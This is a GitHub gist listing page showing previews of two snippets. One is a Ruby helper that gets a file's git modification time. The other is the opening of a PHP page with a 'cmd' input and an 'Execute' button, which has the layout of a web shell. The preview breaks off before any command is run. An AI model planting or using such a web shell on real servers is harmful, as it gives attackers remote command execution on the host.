Skip to content

Instantly share code, notes, and snippets.

View JensTimmerman's full-sized avatar

Jens Timmerman JensTimmerman

  • Belgium
View GitHub Profile
def gitmtime
# find file extension
filepath=@item[:content_filename]
str=`git -1 log --format='%ci' -- #{filepath}`
# puts '#############'
# puts "item #{filepath}"
# puts "str #{str}"
# puts '#############'
if str == ""
return @item.mtime
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{